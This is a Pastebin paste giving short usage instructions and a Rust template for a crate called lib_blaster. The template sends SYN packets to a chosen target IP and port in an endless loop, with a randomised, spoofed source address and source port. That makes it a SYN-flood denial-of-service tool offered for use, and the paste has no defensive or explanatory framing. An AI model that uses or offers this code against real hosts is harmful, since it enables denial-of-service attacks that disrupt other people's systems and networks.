Advertisement
Guest User

lib_blaster instruction

a guest
Jul 18th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Rust 0.84 KB | None | 0 0
  1. 1. new a binary crate and add `lib_blaster = "0.1"` to Cargo.toml
  2. 2. write following code to main.rs:
  3. ```rust
  4. extern crate lib_blaster;
  5. extern crate rand;
  6.  
  7. use lib_blaster::collector::Collector;
  8. use lib_blaster::sender::send_syn;
  9. use lib_blaster::tools::rand_ipv4;
  10. use rand::random;
  11. use std::net::Ipv4Addr;
  12. use std::thread;
  13. use std::time::Duration;
  14.  
  15. fn main() {
  16.     loop {
  17.         match send_syn(&Collector {
  18.             src_ip: // use `rand_ipv4` or new a Ipv4Addr
  19.             dst_ip: Ipv4Addr::new(// Something, your target),
  20.             src_port: random::<u16>(), // use random or a fixed port
  21.             dst_port: // target port,
  22.         }) {
  23.             Ok(_) => println!("Sent Successfully"),
  24.             Err(e) => println!("Err: {}", e),
  25.         }
  26.         thread::sleep(Duration::from_millis(100)); // add it or not
  27.     }
  28. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement